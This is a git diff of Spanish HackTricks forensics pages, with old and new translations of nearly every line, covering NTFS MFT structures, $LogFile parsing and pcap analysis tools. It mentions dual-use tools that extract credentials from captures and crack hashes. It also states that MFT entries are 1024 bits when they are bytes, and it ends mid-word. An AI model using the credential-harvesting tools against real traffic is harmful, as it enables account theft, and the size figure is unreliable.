| --------------------- | --------- | ---------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
|
||||
| Tabla de archivos maestros | $Mft | 0 | Contiene un registro de archivo base para cada archivo y carpeta en un volumen NTFS. Si la información de asignación para un archivo o carpeta es demasiado grande para caber dentro de un solo registro, se asignan otros registros de archivo también. |
|
||||
| Tabla de archivos maestros 2 | $MftMirr | 1 | Una imagen duplicada de los primeros cuatro registros de la MFT. Este archivo garantiza el acceso a la MFT en caso de un fallo de un solo sector. |
|
||||
| Archivo de registro | $LogFile | 2 | Contiene una lista de pasos de transacción utilizados para la recuperabilidad de NTFS. El tamaño del archivo de registro depende del tamaño del volumen y puede ser tan grande como 4 MB. Se utiliza por Windows NT/2000 para restaurar la consistencia de NTFS después de un fallo del sistema. |
|
||||
| Tabla maestra de archivos | $Mft | 0 | Contiene un registro de archivo base para cada archivo y carpeta en un volumen NTFS. Si la información de asignación para un archivo o carpeta es demasiado grande para caber en un solo registro, se asignan otros registros de archivo también. |
|
||||
| Tabla maestra de archivos 2 | $MftMirr | 1 | Una imagen duplicada de los primeros cuatro registros de la MFT. Este archivo garantiza el acceso a la MFT en caso de una falla de un solo sector. |
|
||||
| Archivo de registro | $LogFile | 2 | Contiene una lista de pasos de transacción utilizados para la recuperabilidad de NTFS. El tamaño del archivo de registro depende del tamaño del volumen y puede ser de hasta 4 MB. Es utilizado por Windows NT/2000 para restaurar la consistencia de NTFS después de una falla del sistema. |
|
||||
| Volumen | $Volume | 3 | Contiene información sobre el volumen, como la etiqueta del volumen y la versión del volumen. |
|
||||
| Definiciones de atributos | $AttrDef | 4 | Una tabla de nombres de atributos, números y descripciones. |
|
||||
| Índice de nombres de archivo raíz | $ | 5 | La carpeta raíz. |
|
||||
| Mapa de bits del clúster | $Bitmap | 6 | Una representación del volumen que muestra qué clústeres están en uso. |
|
||||
| Sector de arranque | $Boot | 7 | Incluye el BPB utilizado para montar el volumen y código adicional del cargador de arranque utilizado si el volumen es arrancable. |
|
||||
| Archivo de clúster malo | $BadClus | 8 | Contiene clústeres malos para el volumen. |
|
||||
| Índice de nombre de archivo raíz | $ | 5 | La carpeta raíz. |
|
||||
| Mapa de clúster | $Bitmap | 6 | Una representación del volumen que muestra qué clústeres están en uso. |
|
||||
| Sector de arranque | $Boot | 7 | Incluye el BPB utilizado para montar el volumen y código de cargador de arranque adicional utilizado si el volumen es arrancable. |
|
||||
| Archivo de clústeres defectuosos | $BadClus | 8 | Contiene clústeres defectuosos para el volumen. |
|
||||
| Archivo de seguridad | $Secure | 9 | Contiene descriptores de seguridad únicos para todos los archivos dentro de un volumen. |
|
||||
| Tabla de mayúsculas | $Upcase | 10 | Convierte caracteres en minúsculas a caracteres Unicode en mayúsculas correspondientes. |
|
||||
| Archivo de extensión de NTFS | $Extend | 11 | Utilizado para varias extensiones opcionales como cuotas, datos de punto de reanálisis y identificadores de objetos. |
|
||||
| Tabla de mayúsculas | $Upcase | 10 | Convierte caracteres en minúsculas a caracteres en mayúsculas Unicode coincidentes. |
|
||||
| Archivo de extensión NTFS | $Extend | 11 | Utilizado para varias extensiones opcionales como cuotas, datos de puntos de reanálisis e identificadores de objetos. |
|
||||
| | | 12-15 | Reservado para uso futuro. |
|
||||
| Archivo de gestión de cuotas | $Quota | 24 | Contiene límites de cuota asignados por el usuario en el espacio del volumen. |
|
||||
| Archivo de identificación de objeto | $ObjId | 25 | Contiene identificadores únicos de objeto de archivo. |
|
||||
| Archivo de punto de reanálisis | $Reparse | 26 | Este archivo contiene información sobre archivos y carpetas en el volumen incluyendo datos de punto de reanálisis. |
|
||||
| Archivo de ID de objeto | $ObjId | 25 | Contiene identificadores de objetos de archivo. |
|
||||
| Archivo de punto de reanálisis | $Reparse | 26 | Este archivo contiene información sobre archivos y carpetas en el volumen, incluidos datos de puntos de reanálisis. |
|
||||
|
||||
### Cada entrada de la MFT se ve como sigue:
|
||||
### Cada entrada de la MFT se ve así:
|
||||
|
||||
![](<../../../.gitbook/assets/image (499).png>)
|
||||
|
||||
Nota cómo cada entrada comienza con "FILE". Cada entrada ocupa 1024 bits. Así que después de 1024 bits desde el inicio de una entrada de la MFT, encontrarás la siguiente.
|
||||
Nota cómo cada entrada comienza con "FILE". Cada entrada ocupa 1024 bits. Por lo tanto, después de 1024 bits desde el inicio de una entrada de MFT, encontrarás la siguiente.
|
||||
|
||||
Usando el [**Active Disk Editor**](https://www.disk-editor.org/index.html) es muy fácil inspeccionar la entrada de un archivo en la MFT. Simplemente haz clic derecho en el archivo y luego haz clic en "Inspect File Record"
|
||||
Usando el [**Editor de Disco Activo**](https://www.disk-editor.org/index.html) es muy fácil inspeccionar la entrada de un archivo en la MFT. Simplemente haz clic derecho en el archivo y luego haz clic en "Inspeccionar Registro de Archivo"
|
||||
|
||||
![](<../../../.gitbook/assets/image (500).png>)
|
||||
|
||||
![](<../../../.gitbook/assets/image (501).png>)
|
||||
|
||||
Revisando la bandera **"En uso"** es muy fácil saber si un archivo fue eliminado (un valor de **0x0 significa eliminado**).
|
||||
Al verificar la bandera **"En uso"** es muy fácil saber si un archivo fue eliminado (un valor de **0x0 significa eliminado**).
|
||||
|
||||
![](<../../../.gitbook/assets/image (510).png>)
|
||||
|
||||
|
@ -110,25 +110,25 @@ Cada atributo indica alguna información de la entrada identificada por el tipo:
|
|||
| 32 | $ATTRIBUTE\_LIST | Lista donde se pueden encontrar otros atributos para un archivo. |
|
||||
| 48 | $FILE\_NAME | Nombre del archivo, en Unicode, y las últimas veces de acceso, escritura y creación. |
|
||||
| 64 | $VOLUME\_VERSION | Información del volumen. Existe solo en la versión 1.2 (Windows NT). |
|
||||
| 64 | $OBJECT\_ID | Un identificador único de 16 bytes para el archivo o directorio. Existe solo en versiones 3.0+ y posteriores (Windows 2000+). |
|
||||
| 64 | $OBJECT\_ID | Un identificador único de 16 bytes para el archivo o directorio. Existe solo en las versiones 3.0+ y posteriores (Windows 2000+). |
|
||||
| 80 | $SECURITY\_ DESCRIPTOR | Las propiedades de control de acceso y seguridad del archivo. |
|
||||
| 96 | $VOLUME\_NAME | Nombre del volumen. |
|
||||
| 112 | $VOLUME\_ INFORMATION | Versión del sistema de archivos y otras banderas. |
|
||||
| 128 | $DATA | Contenidos del archivo. |
|
||||
| 144 | $INDEX\_ROOT | Nodo raíz de un árbol de índices. |
|
||||
| 160 | $INDEX\_ALLOCATION | Nodos de un árbol de índices arraigado en el atributo $INDEX\_ROOT. |
|
||||
| 176 | $BITMAP | Un mapa de bits para el archivo $MFT y para índices. |
|
||||
| 192 | $SYMBOLIC\_LINK | Información de enlace simbólico. Existe solo en la versión 1.2 (Windows NT). |
|
||||
| 192 | $REPARSE\_POINT | Contiene datos sobre un punto de reanálisis, que se utiliza como un enlace simbólico en la versión 3.0+ (Windows 2000+). |
|
||||
| 208 | $EA\_INFORMATION | Utilizado para compatibilidad con aplicaciones de OS/2 (HPFS). |
|
||||
| 224 | $EA | Utilizado para compatibilidad con aplicaciones de OS/2 (HPFS). |
|
||||
| 256 | $LOGGED\_UTILITY\_STREAM | Contiene claves e información sobre atributos encriptados en la versión 3.0+ (Windows 2000+). |
|
||||
| 128 | $DATA | Contenido del archivo. |
|
||||
| 144 | $INDEX\_ROOT | Nodo raíz de un árbol de índice. |
|
||||
| 160 | $INDEX\_ALLOCATION | Nodos de un árbol de índice enraizado en el atributo $INDEX\_ROOT. |
|
||||
| 176 | $BITMAP | Un mapa de bits para el archivo $MFT y para los índices. |
|
||||
| 192 | $SYMBOLIC\_LINK | Información de enlace suave. Existe solo en la versión 1.2 (Windows NT). |
|
||||
| 192 | $REPARSE\_POINT | Contiene datos sobre un punto de reanálisis, que se utiliza como un enlace suave en la versión 3.0+ (Windows 2000+). |
|
||||
| 208 | $EA\_INFORMATION | Utilizado para la compatibilidad con aplicaciones OS/2 (HPFS). |
|
||||
| 224 | $EA | Utilizado para la compatibilidad con aplicaciones OS/2 (HPFS). |
|
||||
| 256 | $LOGGED\_UTILITY\_STREAM | Contiene claves e información sobre atributos cifrados en la versión 3.0+ (Windows 2000+). |
|
||||
|
||||
Por ejemplo, el **tipo 48 (0x30)** identifica el **nombre del archivo**:
|
||||
|
||||
![](<../../../.gitbook/assets/image (508).png>)
|
||||
|
||||
También es útil entender que **estos atributos pueden ser residentes** (es decir, existen dentro de un registro MFT dado) o **no residentes** (es decir, existen fuera de un registro MFT dado, en otro lugar del disco, y simplemente se hacen referencia dentro del registro). Por ejemplo, si el atributo **$Data es residente**, esto significa que el **archivo completo se guarda en la MFT**, si es no residente, entonces el contenido del archivo está en otra parte del sistema de archivos.
|
||||
También es útil entender que **estos atributos pueden ser residentes** (lo que significa que existen dentro de un registro MFT dado) o **no residentes** (lo que significa que existen fuera de un registro MFT dado, en otro lugar en el disco, y simplemente se hacen referencia dentro del registro). Por ejemplo, si el atributo **$Data es residente**, esto significa que **todo el archivo se guarda en la MFT**, si no es residente, entonces el contenido del archivo está en otra parte del sistema de archivos.
|
||||
|
||||
Algunos atributos interesantes:
|
||||
|
||||
|
@ -136,25 +136,25 @@ Algunos atributos interesantes:
|
|||
* Fecha de creación
|
||||
* Fecha de modificación
|
||||
* Fecha de acceso
|
||||
* Fecha de actualización de la MFT
|
||||
* Fecha de actualización de MFT
|
||||
* Permisos de archivo DOS
|
||||
* [$FILE\_NAME](https://flatcap.org/linux-ntfs/ntfs/attributes/file\_name.html) (entre otros):
|
||||
* Nombre del archivo
|
||||
* Fecha de creación
|
||||
* Fecha de modificación
|
||||
* Fecha de acceso
|
||||
* Fecha de actualización de la MFT
|
||||
* Fecha de actualización de MFT
|
||||
* Tamaño asignado
|
||||
* Tamaño real
|
||||
* [Referencia de archivo](https://flatcap.org/linux-ntfs/ntfs/concepts/file\_reference.html) al directorio padre.
|
||||
* [$Data](https://flatcap.org/linux-ntfs/ntfs/attributes/data.html) (entre otros):
|
||||
* Contiene los datos del archivo o la indicación de los sectores donde residen los datos. En el siguiente ejemplo, el atributo de datos no es residente, por lo que el atributo da información sobre los sectores donde residen los datos.
|
||||
* Contiene los datos del archivo o la indicación de los sectores donde residen los datos. En el siguiente ejemplo, el atributo de datos no es residente, por lo que el atributo proporciona información sobre los sectores donde residen los datos.
|
||||
|
||||
![](<../../../.gitbook/assets/image (507) (1) (1).png>)
|
||||
|
||||
![](<../../../.gitbook/assets/image (509).png>)
|
||||
|
||||
### Sellos de tiempo de NTFS
|
||||
### Marcas de Tiempo de NTFS
|
||||
|
||||
![](<../../../.gitbook/assets/image (512).png>)
|
||||
|
||||
|
@ -165,11 +165,11 @@ Este programa extraerá todos los datos de la MFT y los presentará en formato C
|
|||
|
||||
### $LOGFILE
|
||||
|
||||
El archivo **`$LOGFILE`** contiene **registros** sobre las **acciones** que se han **realizado** **en** **archivos**. También **guarda** la **acción** que necesitaría realizar en caso de un **rehacer** y la acción necesaria para **volver** al **estado** **anterior**.\
|
||||
Estos registros son útiles para la MFT para reconstruir el sistema de archivos en caso de que ocurra algún tipo de error. El tamaño máximo de este archivo es **65536KB**.
|
||||
El archivo **`$LOGFILE`** contiene **registros** sobre las **acciones** que se han **realizado** **en** **archivos**. También **guarda** la **acción** que necesitaría realizar en caso de un **repetir** y la acción necesaria para **volver** al **estado** **anterior**.\
|
||||
Estos registros son útiles para que la MFT reconstruya el sistema de archivos en caso de que ocurra algún tipo de error. El tamaño máximo de este archivo es de **65536KB**.
|
||||
|
||||
Para inspeccionar el `$LOGFILE` necesitas extraerlo e inspeccionar previamente el `$MFT` con [**MFT2csv**](https://github.com/jschicht/Mft2Csv).\
|
||||
Luego ejecuta [**LogFileParser**](https://github.com/jschicht/LogFileParser) contra este archivo y selecciona el archivo `$LOGFILE` exportado y el CVS de la inspección del `$MFT`. Obtendrás un archivo CSV con los registros de la actividad del sistema de archivos grabados por el registro `$LOGFILE`.
|
||||
Luego ejecuta [**LogFileParser**](https://github.com/jschicht/LogFileParser) contra este archivo y selecciona el archivo `$LOGFILE` exportado y el CVS de la inspección del `$MFT`. Obtendrás un archivo CSV con los registros de la actividad del sistema de archivos registrados por el log `$LOGFILE`.
|
||||
|
||||
![](<../../../.gitbook/assets/image (515).png>)
|
||||
|
||||
|
@ -181,4 +181,4 @@ Filtrando por nombres de archivo puedes ver **todas las acciones realizadas cont
|
|||
|
||||
El archivo `$EXTEND/$USNJnrl/$J` es un flujo de datos alternativo del archivo `$EXTEND$USNJnrl`. Este artefacto contiene un **registro de cambios producidos dentro del volumen NTFS con más detalle que `$LOGFILE`**.
|
||||
|
||||
Para inspeccionar este
|
||||
Para inspe
|
||||
|
|
|
@ -2,33 +2,33 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sigue** a **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de github de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**RootedCON**](https://www.rootedcon.com/) es el evento de ciberseguridad más relevante en **España** y uno de los más importantes en **Europa**. Con **la misión de promover el conocimiento técnico**, este congreso es un punto de encuentro efervescente para profesionales de la tecnología y la ciberseguridad en todas las disciplinas.
|
||||
[**RootedCON**](https://www.rootedcon.com/) es el evento de ciberseguridad más relevante en **España** y uno de los más importantes en **Europa**. Con **la misión de promover el conocimiento técnico**, este congreso es un punto de encuentro crucial para profesionales de tecnología y ciberseguridad en todas las disciplinas.
|
||||
|
||||
{% embed url="https://www.rootedcon.com/" %}
|
||||
|
||||
{% hint style="info" %}
|
||||
Una nota sobre **PCAP** vs **PCAPNG**: existen dos versiones del formato de archivo PCAP; **PCAPNG es más nuevo y no es compatible con todas las herramientas**. Puede que necesites convertir un archivo de PCAPNG a PCAP usando Wireshark u otra herramienta compatible, para poder trabajar con él en algunas otras herramientas.
|
||||
Una nota sobre **PCAP** vs **PCAPNG**: existen dos versiones del formato de archivo PCAP; **PCAPNG es más nuevo y no es compatible con todas las herramientas**. Es posible que necesites convertir un archivo de PCAPNG a PCAP usando Wireshark u otra herramienta compatible, para poder trabajar con él en algunas otras herramientas.
|
||||
{% endhint %}
|
||||
|
||||
## Herramientas en línea para pcaps
|
||||
|
||||
* Si el encabezado de tu pcap está **roto** deberías intentar **repararlo** usando: [http://f00l.de/hacking/**pcapfix.php**](http://f00l.de/hacking/pcapfix.php)
|
||||
* Si el encabezado de tu pcap está **dañado** debes intentar **repararlo** usando: [http://f00l.de/hacking/**pcapfix.php**](http://f00l.de/hacking/pcapfix.php)
|
||||
* Extrae **información** y busca **malware** dentro de un pcap en [**PacketTotal**](https://packettotal.com)
|
||||
* Busca **actividad maliciosa** usando [**www.virustotal.com**](https://www.virustotal.com) y [**www.hybrid-analysis.com**](https://www.hybrid-analysis.com)
|
||||
* Busca **actividad maliciosa** utilizando [**www.virustotal.com**](https://www.virustotal.com) y [**www.hybrid-analysis.com**](https://www.hybrid-analysis.com)
|
||||
|
||||
## Extraer Información
|
||||
|
||||
|
@ -46,11 +46,11 @@ Puedes encontrar algunos trucos de Wireshark en:
|
|||
[wireshark-tricks.md](wireshark-tricks.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### Marco de Trabajo Xplico
|
||||
### Marco de Xplico
|
||||
|
||||
[**Xplico**](https://github.com/xplico/xplico) _(solo linux)_ puede **analizar** un **pcap** y extraer información de él. Por ejemplo, de un archivo pcap Xplico extrae cada correo electrónico (protocolos POP, IMAP y SMTP), todos los contenidos HTTP, cada llamada VoIP (SIP), FTP, TFTP, etc.
|
||||
[**Xplico** ](https://github.com/xplico/xplico)_(solo en linux)_ puede **analizar** un **pcap** y extraer información de él. Por ejemplo, de un archivo pcap, Xplico extrae cada correo electrónico (protocolos POP, IMAP y SMTP), todos los contenidos HTTP, cada llamada VoIP (SIP), FTP, TFTP, y más.
|
||||
|
||||
**Instalar**
|
||||
**Instalación**
|
||||
```bash
|
||||
sudo bash -c 'echo "deb http://repo.xplico.org/ $(lsb_release -s -c) main" /etc/apt/sources.list'
|
||||
sudo apt-key adv --keyserver keyserver.ubuntu.com --recv-keys 791C25CE
|
||||
|
@ -62,30 +62,30 @@ sudo apt-get install xplico
|
|||
/etc/init.d/apache2 restart
|
||||
/etc/init.d/xplico start
|
||||
```
|
||||
Acceso a _**127.0.0.1:9876**_ con credenciales _**xplico:xplico**_
|
||||
Accede a _**127.0.0.1:9876**_ con las credenciales _**xplico:xplico**_
|
||||
|
||||
Luego crea un **nuevo caso**, crea una **nueva sesión** dentro del caso y **sube el archivo pcap**.
|
||||
|
||||
### NetworkMiner
|
||||
|
||||
Al igual que Xplico, es una herramienta para **analizar y extraer objetos de pcaps**. Tiene una edición gratuita que puedes **descargar** [**aquí**](https://www.netresec.com/?page=NetworkMiner). Funciona con **Windows**.\
|
||||
Esta herramienta también es útil para obtener **otra información analizada** de los paquetes para poder saber qué estaba sucediendo de una manera más **rápida**.
|
||||
Esta herramienta también es útil para obtener **otra información analizada** de los paquetes para poder saber qué estaba sucediendo de una manera **más rápida**.
|
||||
|
||||
### NetWitness Investigator
|
||||
|
||||
Puedes descargar [**NetWitness Investigator desde aquí**](https://www.rsa.com/en-us/contact-us/netwitness-investigator-freeware) **(Funciona en Windows)**.\
|
||||
Esta es otra herramienta útil que **analiza los paquetes** y ordena la información de manera útil para **saber qué está sucediendo dentro**.
|
||||
Esta es otra herramienta útil que **analiza los paquetes** y ordena la información de una manera útil para **saber qué está sucediendo por dentro**.
|
||||
|
||||
![](<../../../.gitbook/assets/image (567) (1).png>)
|
||||
|
||||
### [BruteShark](https://github.com/odedshimon/BruteShark)
|
||||
|
||||
* Extracción y codificación de nombres de usuario y contraseñas (HTTP, FTP, Telnet, IMAP, SMTP...)
|
||||
* Extraer hashes de autenticación y romperlos usando Hashcat (Kerberos, NTLM, CRAM-MD5, HTTP-Digest...)
|
||||
* Construir un diagrama de red visual (nodos de red y usuarios)
|
||||
* Extraer consultas DNS
|
||||
* Reconstruir todas las sesiones TCP y UDP
|
||||
* File Carving
|
||||
* Extracción de hashes de autenticación y crackeo con Hashcat (Kerberos, NTLM, CRAM-MD5, HTTP-Digest...)
|
||||
* Construcción de un diagrama visual de red (Nodos de red y usuarios)
|
||||
* Extracción de consultas DNS
|
||||
* Reconstrucción de todas las sesiones TCP y UDP
|
||||
* Tallado de archivos
|
||||
|
||||
### Capinfos
|
||||
```
|
||||
|
@ -93,13 +93,13 @@ capinfos capture.pcap
|
|||
```
|
||||
### Ngrep
|
||||
|
||||
Si estás **buscando** **algo** dentro del pcap puedes usar **ngrep**. Aquí tienes un ejemplo utilizando los filtros principales:
|
||||
Si estás **buscando** algo dentro del pcap, puedes usar **ngrep**. Aquí tienes un ejemplo usando los filtros principales:
|
||||
```bash
|
||||
ngrep -I packets.pcap "^GET" "port 80 and tcp and host 192.168 and dst host 192.168 and src host 192.168"
|
||||
```
|
||||
### Extracción
|
||||
### Tallado
|
||||
|
||||
El uso de técnicas de extracción comunes puede ser útil para extraer archivos e información del pcap:
|
||||
El uso de técnicas comunes de tallado puede ser útil para extraer archivos e información del pcap:
|
||||
|
||||
{% content-ref url="../partitions-file-systems-carving/file-data-carving-recovery-tools.md" %}
|
||||
[file-data-carving-recovery-tools.md](../partitions-file-systems-carving/file-data-carving-recovery-tools.md)
|
||||
|
@ -107,11 +107,11 @@ El uso de técnicas de extracción comunes puede ser útil para extraer archivos
|
|||
|
||||
### Captura de credenciales
|
||||
|
||||
Puedes utilizar herramientas como [https://github.com/lgandx/PCredz](https://github.com/lgandx/PCredz) para analizar credenciales de un pcap o una interfaz en vivo.
|
||||
Puedes utilizar herramientas como [https://github.com/lgandx/PCredz](https://github.com/lgandx/PCredz) para analizar credenciales de un pcap o de una interfaz en vivo.
|
||||
|
||||
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**RootedCON**](https://www.rootedcon.com/) es el evento de ciberseguridad más relevante en **España** y uno de los más importantes en **Europa**. Con **la misión de promover el conocimiento técnico**, este congreso es un punto de encuentro efervescente para profesionales de la tecnología y la ciberseguridad en todas las disciplinas.
|
||||
[**RootedCON**](https://www.rootedcon.com/) es el evento de ciberseguridad más relevante en **España** y uno de los más importantes en **Europa**. Con **la misión de promover el conocimiento técnico**, este congreso es un punto de encuentro crucial para profesionales de tecnología y ciberseguridad en todas las disciplinas.
|
||||
|
||||
{% embed url="https://www.rootedcon.com/" %}
|
||||
|
||||
|
@ -119,14 +119,14 @@ Puedes utilizar herramientas como [https://github.com/lgandx/PCredz](https://git
|
|||
|
||||
### Suricata
|
||||
|
||||
**Instalar y configurar**
|
||||
**Instalación y configuración**
|
||||
```
|
||||
apt-get install suricata
|
||||
apt-get install oinkmaster
|
||||
echo "url = http://rules.emergingthreats.net/open/suricata/emerging.rules.tar.gz" >> /etc/oinkmaster.conf
|
||||
oinkmaster -C /etc/oinkmaster.conf -o /etc/suricata/rules
|
||||
```
|
||||
**Revisar pcap**
|
||||
**Verificar pcap**
|
||||
```
|
||||
suricata -r packets.pcap -c /etc/suricata/suricata.yaml -k none -v -l log
|
||||
```
|
||||
|
@ -135,14 +135,14 @@ suricata -r packets.pcap -c /etc/suricata/suricata.yaml -k none -v -l log
|
|||
[**YaraPCAP**](https://github.com/kevthehermit/YaraPcap) es una herramienta que
|
||||
|
||||
* Lee un archivo PCAP y extrae flujos Http.
|
||||
* Descomprime cualquier flujo comprimido con gzip
|
||||
* Escanea cada archivo con yara
|
||||
* Escribe un report.txt
|
||||
* Opcionalmente guarda los archivos coincidentes en un Dir
|
||||
* Descomprime cualquier flujo comprimido con gzip.
|
||||
* Escanea cada archivo con yara.
|
||||
* Escribe un reporte.txt.
|
||||
* Opcionalmente guarda los archivos coincidentes en un directorio.
|
||||
|
||||
### Análisis de Malware
|
||||
|
||||
Verifica si puedes encontrar alguna huella de un malware conocido:
|
||||
Verifique si puede encontrar alguna huella de un malware conocido:
|
||||
|
||||
{% content-ref url="../malware-analysis.md" %}
|
||||
[malware-analysis.md](../malware-analysis.md)
|
||||
|
@ -150,11 +150,9 @@ Verifica si puedes encontrar alguna huella de un malware conocido:
|
|||
|
||||
## Zeek
|
||||
|
||||
> Zeek es un analizador de tráfico de red pasivo y de código abierto. Muchos operadores utilizan Zeek como un Monitor de Seguridad de Red (NSM) para apoyar investigaciones de actividad sospechosa o maliciosa. Zeek también soporta una amplia gama de tareas de análisis de tráfico más allá del dominio de la seguridad, incluyendo la medición de rendimiento y la resolución de problemas.
|
||||
> Zeek es un analizador de tráfico de red de código abierto y pasivo. Muchos operadores utilizan Zeek como Monitor de Seguridad de Red (NSM) para respaldar investigaciones de actividad sospechosa o maliciosa. Zeek también admite una amplia gama de tareas de análisis de tráfico más allá del dominio de la seguridad, incluida la medición del rendimiento y la resolución de problemas.
|
||||
|
||||
Básicamente, los registros creados por `zeek` no son **pcaps**. Por lo tanto, necesitarás utilizar **otras herramientas** para analizar los registros donde la **información** sobre los pcaps está.
|
||||
|
||||
### Información de Conexiones
|
||||
Básicamente, los registros creados por `zeek` no son **pcaps**. Por lo tanto, necesitarás usar **otras herramientas** para analizar los registros donde se encuentra la **información** sobre los pcaps.
|
||||
```bash
|
||||
#Get info about longest connections (add "grep udp" to see only udp traffic)
|
||||
#The longest connection might be of malware (constant reverse shell?)
|
||||
|
@ -239,20 +237,20 @@ rita show-exploded-dns -H --limit 10 zeek_logs
|
|||
|
||||
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**RootedCON**](https://www.rootedcon.com/) es el evento de ciberseguridad más relevante en **España** y uno de los más importantes en **Europa**. Con **la misión de promover el conocimiento técnico**, este congreso es un punto de encuentro efervescente para profesionales de la tecnología y la ciberseguridad en todas las disciplinas.
|
||||
[**RootedCON**](https://www.rootedcon.com/) es el evento de ciberseguridad más relevante en **España** y uno de los más importantes en **Europa**. Con **la misión de promover el conocimiento técnico**, este congreso es un punto de encuentro clave para profesionales de la tecnología y ciberseguridad en todas las disciplinas.
|
||||
|
||||
{% embed url="https://www.rootedcon.com/" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Aprende a hackear AWS desde cero hasta convertirte en un héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sigue** a **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de GitHub** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,21 +1,21 @@
|
|||
<details>
|
||||
|
||||
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
